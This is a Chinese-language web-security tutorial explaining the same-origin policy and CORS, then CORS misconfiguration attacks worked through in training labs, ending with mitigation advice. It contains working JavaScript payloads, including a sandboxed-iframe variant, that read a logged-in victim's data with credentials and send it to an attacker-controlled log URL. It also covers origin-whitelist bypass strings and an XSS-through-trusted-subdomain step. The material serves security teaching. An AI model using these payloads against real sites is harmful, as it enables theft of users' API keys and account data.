1. 程式人生 > 其它 >web漏洞——CORS跨域資源共享漏洞

web漏洞——CORS跨域資源共享漏洞

同源策略

同源策略是一種約定,它是瀏覽器最核心也最基本的安全功能,如果缺少了同源策略,則瀏覽器的正常功能都會收到影響。可以說Web是構建在同源策略基礎之上的,瀏覽器只是針對同源策略的以一種實現。

所謂同源是指域名、協議、埠相同。

當一個瀏覽器的兩個tab頁中分別開啟百度和谷歌的頁面時,當瀏覽器的百度tab頁執行一個指令碼的時候會檢查這個指令碼是屬於哪個頁面的,即檢查是否同源,只有和百度同源的指令碼才會被執行。 如果非同源,那麼在請求資料時,瀏覽器會在控制檯中報一個異常,提示拒絕訪問。不同源的客戶端指令碼在沒有明確授權的情況下,不能讀寫對方資源。所以google.com下的js指令碼採用ajax讀取baidu.com裡面的檔案資料是會報錯的。

如何判斷是否是同源,可以檢視該表

不受同源策略限制的:

  • 頁面的連結,重定向以及表單提交是不會受到同源策略限制的
  • 跨域資源的引入是可以的。但是js不能讀寫載入的內容。如嵌入到頁面中的<script sec="...."></script>,<img>,<link>,<iframe>等。

跨域的實現

跨域資源共享:受瀏覽器同源策略的影響,不是同源的指令碼不能操作其他源下面的物件。想要操作另一個源下的物件就需要跨域。

跨域的實現方法

1、降域

同源策略認為域和子域屬於不同的域,如:

child1.a.com 與 a.com,

child1.a.com 與 child2.a.com,

abc.child1.a.com 與 child1.a.com

兩兩不同源,但是可以通過設定 document.domain='a.com',瀏覽器就會認為它們都是同一個源。想要實現以上任意兩個頁面之間的通訊,兩個頁面必須都設定documen.domain='a.com'。

此方式的特點:

只能在父域名與子域名之間使用,且將 xxx.child1.a.com域名設定為a.com後,不能再設定成child1.a.com

存在安全性問題,當一個站點被攻擊後,另一個站點會引起安全漏洞

這種方法只適用於 Cookie 和 iframe 視窗

2、JSONP跨域(參考筆記JSONP)

3、CORS跨域資源共享

它允許瀏覽器向跨源伺服器,發出 XMLHttpRequest 請求,從而克服了 AJAX 只能同源使用的限制。使用AJAX技術跨域獲取資料

CORS定義了兩種跨域請求:簡單請求和非簡單請求。簡單跨域請求就是使用設定的請求方式請求資料,而非簡單跨域請求則是在使用設定的請求方式請求資料之前,先發送一個OPTIONS預檢請求,驗證請求源是否為服務端允許源。只有"預檢"通過後才會再發送一次請求用於資料傳輸。

當我們需要傳送一個跨域請求的時候,瀏覽器會首先檢查這個請求,如果它是簡單跨域請求,瀏覽器就會立刻傳送這個請求。如果它是非簡單跨域請求,這時候瀏覽器不會馬上傳送這個請求,而是有一個跟伺服器預檢驗證的過程。

簡單跨域請求

(1) 請求方法是以下三種方法之一:

HEAD

GET

POST

(2)HTTP的頭資訊不超出以下幾種欄位:

Accept

Accept-Language

Content-Language

Last-Event-ID

Content-Type:application/x-www-form-urlencoded、 multipart/form-data、text/plain

只有同時滿足以上兩個條件時,才是簡單請求,否則為非簡單請求。

瀏覽器判斷該請求為簡單請求時,會在Request Header中新增 Origin 欄位,它表示我們的請求源。

如下,簡單請求頭:

CORS服務端會將該欄位作為跨源標誌。CORS接收到此次請求後, 首先會判斷Origin是否在允許源(由服務端決定)範圍之內。

如果Origin指定的源在許可範圍內,即驗證通過,服務端會在Response Header 新增下面幾個欄位

  • Access-Control-Allow-Origin:該欄位是必須的。它的值要麼是請求時Origin欄位的值,要麼是一個*,表示接受任意域名的請求。
  • Access-Control-Allow-Credentials:該欄位可選。它的值是一個布林值,表示是否允許傳送Cookie。預設情況下,Cookie不包括在CORS請求之中。當設定為true時,即表示伺服器明確許可,Cookie可以包含在請求中,一起發給伺服器。這個值也只能設為true,如果伺服器不要瀏覽器傳送Cookie,刪除該欄位即可
  • Access-Control-Expose-Headers:該欄位可選。CORS請求時,XMLHttpRequest物件的getResponseHeader()方法只能拿到6個基本欄位:Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma。如果想拿到其他欄位,就必須在Access-Control-Expose-Headers裡面指定。

如下,CROS服務端的迴應:

如果Origin指定的源不在許可範圍內,即驗證失敗,伺服器也會返回一個正常的HTTP迴應。瀏覽器發現,這個迴應的頭資訊中的Access-Control-Allow-Origin欄位不包含訪問源,就知道出錯了,從而丟擲同源檢測異常的錯誤。注意,這種錯誤無法通過狀態碼識別,因為HTTP迴應的狀態碼有可能是200。

上面說到,CORS請求預設不傳送Cookie和HTTP認證資訊。如果要把Cookie發到伺服器,一方面要伺服器同意,指定Access-Control-Allow-Credentials欄位。

Access-Control-Allow-Credentials:true

另一方面,開發者必須在AJAX請求中開啟withCredentials屬性

var xhr = new XMLHttpRequest(); xhr.withCredentials = true;

否則,即使伺服器同意瀏覽器傳送Cookie,瀏覽器也不會發送。或者,伺服器要求設定Cookie,瀏覽器也不會處理。

但是,如果省略withCredentials設定,有的瀏覽器還是會一起傳送Cookie。這時,可以顯式關閉withCredentials

xhr.withCredentials = false;

需要注意的是,如果要傳送Cookie,即Access-Control-Allow-Credentials:true時,Access-Control-Allow-Origin就不能設為星號,必須指定明確的、與請求網頁一致的域名。同時,Cookie依然遵循同源政策,只有用伺服器域名設定的Cookie才會上傳,其他域名的Cookie並不會上傳,且(跨源)原網頁程式碼中的document.cookie也無法讀取伺服器域名下的Cookie。

總結:簡單請求只需要CORS服務端在接受到攜帶Origin欄位的跨域請求後,在response header中新增Access-Control-Allow-Origin等欄位給瀏覽器做同源判斷

非簡單請求

非簡單請求是那種對伺服器有特殊要求的請求,比如請求方法是PUT或DELETE,或者Content-Type欄位的型別是application/json。非簡單請求的CORS請求,會在正式通訊之前,增加一次OPTIONS方法的預檢請求。

瀏覽器先詢問伺服器,當前網頁所在的域名是否在伺服器的許可名單之中,以及可以使用哪些HTTP動詞和頭資訊欄位。只有得到肯定答覆,瀏覽器才會發出正式的XMLHttpRequest請求,否則就報錯。

下面簡單分析一下非簡單跨域請求的過程。瀏覽器先發送一個OPTIONS方法的預檢請求。帶有如下欄位:

  • Origin: 在CORS中專門作為Origin資訊供後端比對,表明來源域。
  • Access-Control-Request-Method: 接下來請求的方法,例如PUT、DELETE等等
  • Access-Control-Request-Headers: 自定義的頭部,所有用setRequestHeader方法設定的頭部都將會以逗號隔開的形式包含在這個頭中

然後如果伺服器配置了CORS,會返回對應對的欄位,具體欄位含義在返回結果是一併解釋。

  • Access-Control-Allow-Origin: 允許進行跨域請求的域名
  • Access-Control-Allow-Methods: 允許進行跨域請求的方式
  • Access-Control-Allow-Headers: 允許進行跨區請求的頭部

如下,OPTIONS預檢的請求與相應

然後瀏覽器再根據伺服器的返回值判斷是否傳送非簡單請求。然後伺服器處理完請求之後,會再返回結果中加上如下控制欄位:

  • Access-Control-Allow-Origin: 允許跨域訪問的域,可以是一個域的列表,也可以是萬用字元"*"。這裡要注意Origin規則只對域名有效,並不會對子目錄有效。即http://foo.example/subdir/ 是無效的。但是不同子域名需要分開設定,這裡的規則可以參照同源策略
  • Access-Control-Allow-Credentials: 是否允許請求帶有驗證資訊
  • Access-Control-Expose-Headers: 允許指令碼訪問的返回頭,請求成功後,指令碼可以在XMLHttpRequest中訪問這些頭的資訊
  • Access-Control-Max-Age: 快取此次請求的秒數。在這個時間範圍內,所有同類型的請求都將不再發送預檢請求而是直接使用此次返回的頭作為判斷依據,非常有用,大幅優化請求次數
  • Access-Control-Allow-Methods: 允許使用的請求方法,以逗號隔開
  • Access-Control-Allow-Headers: 允許自定義的頭部,以逗號隔開,大小寫不敏感

然後瀏覽器通過返回結果的這些控制欄位來決定是將結果開放給客戶端指令碼讀取還是遮蔽掉。如果伺服器沒有配置CORS,返回結果沒有控制欄位,瀏覽器會遮蔽指令碼對返回資訊的讀取,並報出同源檢測異常的錯誤!

通過上面敘述,我們得知藉助CORS我們不必關心發出的請求是否跨域,瀏覽器會幫我們處理這些事情,但是服務端需要支援CORS,服務端實現CORS的原理也很簡單,在服務端完全可以對請求做上下文處理,已達到介面允許跨域訪問的目的。

當然,也有很多第三方的CORS外掛,例如:Spring MVC 在4.2以上版本也支援了CORS配置,這樣,服務端也無需自己操心了!

CORS的安全問題

CORS非常有用,可以共享許多內容,不過這裡存在風險。因為它完全是一個盲目的協議,只是通過HTTP頭來控制的。那麼,CORS跨域資源共享漏洞是怎麼發生的呢?由於程式設計師配置不當,Origin源不嚴格,從而造成跨域問題。

由以上可知,網站可以通過傳送以下HTTP響應頭部來啟用CORS:

Access-Control-Allow-Origin: https://example.com

這樣的話,就可以允許指定的源(http://example.com)來跨域請求伺服器端的資源,並且伺服器會響應。在預設情況下,傳送跨域請求時不會攜帶cookie或其他憑據。因此,它不能用於竊取與使用者相關的敏感資訊(如CSRF令牌)。不過,網站伺服器可以使用以下頭部來啟用憑據傳輸:

Access-Control-Allow-Credentials:true

這樣瀏覽器在請求資料的時候就需要帶上cookie。

實現對單個域的信任是非常容易的事情。不過,如果需要信任多個域的話,那該怎麼辦呢?根據相關規範的建議,只需列出相關的域,並用空格加以分隔即可,例如:

Access-Control-Allow-Origin:http://a.example.com http://example.com

但是,沒有哪個瀏覽器真正支援這一特性。

於是,我們可以通過使用萬用字元來信任所有子域,具體方法是:

Access-Control-Allow-Origin: *.example.com

這樣,所有的網站都可以對其進行跨域資源請求了,這是非常危險的。不過先別高興的太早。其實這裡在設計的時候有一個很好的限制。xmlhttprequest傳送的請求需要使用 “withCredentials” 來帶上Cookie,如果一個目標域設定成了允許任意域的跨域請求,這個請求又帶著 Cookie 的話,這個請求是不合法的。(就是如果需要實現帶 Cookie 的跨域請求,CORS服務端需要明確的配置允許來源的域,使用任意域的配置是不合法的)瀏覽器會遮蔽掉返回的結果。Javascript 就沒法獲取返回的資料了。這是CORS模型最後一道防線。假如沒有這個限制的話,那麼 Javascript 就可以獲取返回資料中的 Cookie 和 CSRF Token,以及各種敏感資料。這個限制極大的降低了CORS的風險。

如下,這是不允許的:

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: true

這時,將在瀏覽器控制檯中收到錯誤訊息:當憑證標誌為true時,無法在Access-Control-Allow-Origin中使用萬用字元(各個瀏覽器報錯顯示的不一樣)。

那麼,CORS的漏洞到底出現在哪裡呢?

1:CORS服務端的 Access-Control-Allow-Origin 設定為了 *,並且 Access-Control-Allow-Credentials 設定為false,這樣任何網站都可以獲取該服務端的任何資料了。

2:有一些網站的Access-Control-Allow-Origin他的設定並不是固定的,而是根據使用者跨域請求資料的Origin來定的。這時,不管Access-Control-Allow-Credentials 設定為了 true 還是 false。任何網站都可以發起請求,並讀取對這些請求的響應。意思就是任何一個網站都可以傳送跨域請求來獲得CORS服務端上的資料。

下面的程式碼是通過AJAX來跨域請求獲取服務端的資料

<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Ajax</title>
    <script type="text/javascript">
        function foo(){
            var xmlhttp=new XMLHttpRequest();
                var url="http://127.0.0.1/1.txt";   //要跨域訪問的資源
            xmlhttp.open("POST",url,true);   
                        //xmlhttp.setRequestHeader('X-PINGOTHER','AAAA');     //自定義頭部,如果這樣的話,就屬於非簡單請求了
                        //xmlhttp.setRequestHeader('Content-Type','text/xml');   //自定義頭部,如果這樣的話,就屬於非簡單請求了
            xmlhttp.send();
            xmlhttp.onreadystatechange=function()
{
                if (xmlhttp.readyState==4 && xmlhttp.status==200)
                {
                    document.getElementById("my").innerHTML=xmlhttp.responseText;
                }
            }
        }
</script>
</head>
<body>
    <button id="btn" οnclick="foo()">確定</button>
    <p id="my">hello,word!</p>
</body>
</html>

CORS可以抵禦CSRF攻擊嗎?

CROS是不能用來抵禦CSRF攻擊的,因為它只是對同源策略的放寬措施。甚至配置不當還會增加遭受CSRF的風險。

CORS配置問題導致的漏洞

服務端生成的來自客戶端指定的Origin頭的Access-Control-Allow-Origin(ACAO)頭

有的應用程式需要允許來自多個指定域的資源,但是維護這樣一個列表很麻煩。有種方法就是從請求中讀取Origin頭並且在響應包中包含一個可以說明請求源被允許的響應頭。例如接收到這樣的請求

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

然後返回這樣的響應

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...

因為響應中是包含這樣的頭的,說明請求源是被允許的並且允許包含cookie。而且還能看出來是允許來自任意來源的。所以我們可以跨域訪問資源,這樣我們就可以訪問一些帶有敏感資訊的資源了,例如構造這樣的payload。

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};

配套靶場:有基礎源對映的CORS漏洞

首先我們觀察到個人中心的響應包中有這樣一段JS程式碼

看到apikey是利用這段程式碼獲取的,於是我們向這個路徑發出請求觀察響應包

發現響應包主題就是使用者的一些資訊,還有一個表明可以讀取響應中的憑證的CORS響應頭,然後我們測試一下是否可以向任何域發起跨域請求。

發現響應頭包含了該域,說明我們可以向任意域發起跨域請求,所以我們可以這樣偽造payload

在Exploit Server儲存,投放給受害者後,我們就能獲取到對方的apikey了。在日誌中檢視。

錯誤解析Origin頭

有的應用程式採用白名單的方式允許請求源,如果響應頭包含了請求源則表明允許該源。例如這樣的請求

GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com

我們得到這樣的響應

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com

但是設定白名單還是會有問題,有的應用程式還允許訪問請求源的子域。一般採用匹配字首或字尾以及正則匹配的方式進行驗證,這就很容易導致夾帶惡意域進去,比如:

normal-website.com
hackersnormal-website.com
normal-website.com.evil-user.net

被認為是白名單的Origin值null

Origin是支援null值的,有些情況下Origin值為null

跨站重定向

來自序列化資料的請求

使用file協議的請求

沙箱過的跨域請求

有時候為了方便開發,會將null的Origin值加入白名單,例如

GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null

然後得到這樣的響應

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

攻擊者可以構造上訴四種會出現null的Origin值的場景以發動CORS攻擊,例如:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

這應該構造的應該是第四種,即利用iframe沙箱傳送跨域請求

配套靶場:可信Origin值null的CORS漏洞

首先我們先看一下null在不在白名單裡

在,那我們就可以利用上面的payload模板構造payload

在攻擊伺服器上輸入payload

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://ac3e1f711e4b0b81800e274d00c4005a.web-security-academy.net/accountDetails',true);//這其中的url是存在CORS漏洞的網站
req.withCredentials = true;
req.send();

function reqListener() {
location='https://exploit-ace01f7d1e7b0b638078276901c200b8.web-security-academy.net/log?key='+this.responseText;  //其中的URL是攻擊伺服器的url
};
</script>"></iframe>

儲存後傳送給被攻擊的伺服器,然後在點選Access log進入日誌檢視,就可以看到受害人的apikey了。

通過CORS信任關係利用XSS

即使添加了白名單,但是如果白名單中的站點很容易遭受XSS攻擊的話,攻擊者可能向其投放惡意指令碼然後利用CORS的信任關係執行它。例如:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

看到https://subdomain.vulnerable-website.com是受信任的源,並且允許傳送憑證。我們可以直接構造這樣的XSS payload進行攻擊

https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>

使用配置不當的CORS破壞TLS

如果使用HTTPS傳輸的站點將使用HTTP傳輸的站點加入了可信源,像這樣

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

針對這樣的情況,攻擊可以包括下面幾個步驟

配套靶場:使用受信任的不安全協議的CORS漏洞

首先我們檢測一下使用http的源是否被允許

是允許的,經過測試得知檢查庫存頁面會向http協議的子域傳送請求並且存在XSS漏洞,所以我們結合前面學習的知識這樣構造payload

我們看到這個payload很複雜,一共套了三層,最外層是可以向http傳送請求並且存在XSS,對後續的利用有幫助,然後裡面就是利用上一道靶場的知識構造的將敏感資料傳送到指定伺服器的操作。

內網與無憑證的CORS

前面的獲取使用者敏感資訊都要依賴於這項CORS配置

Access-Control-Allow-Credentials: true

沒有這項配置我們就只能訪問不需要身份驗證的內容。但是如果我們處於內網時,因為內網的安全標準普遍比外網低,所以我們可以通過一些漏洞獲取對敏感資料的訪問許可權。例如

我們看到在內網中允許來自任意源的資源請求,不需要使用者憑證。我們可以在外網構造攻擊利用受害者能夠訪問內網這個特點去獲取敏感資料。

如何緩解基於CORS的攻擊

正確配置跨域請求

應該在有敏感資源的頁面中的Access-Control-Allow-Origin頭指定正確的可信源

僅允許可信站點

應該在Access-Control-Allow-Origin僅指定可信源,而不是動態的,不去驗證是否為可信源。

避免將null設定為白名單

應該避免設定Access-Control-Allow-Origin: null,因為有些攻擊手段可以利用這一點發動CORS攻擊,比如iframe沙箱

避免在內網中使用萬用字元

通過前面的案例我們知道大部分內網的安全標準比外網低,會設定Access-Control-Allow-Origin: *,這是非常危險的做法

CORS不能用來代替伺服器端安全策略

CORS只是瀏覽器安全機制,所以並不能用來代替伺服器端的安全策略,伺服器端還是不能放鬆警惕,還是要配置身份驗證,會話管理之類的安全策略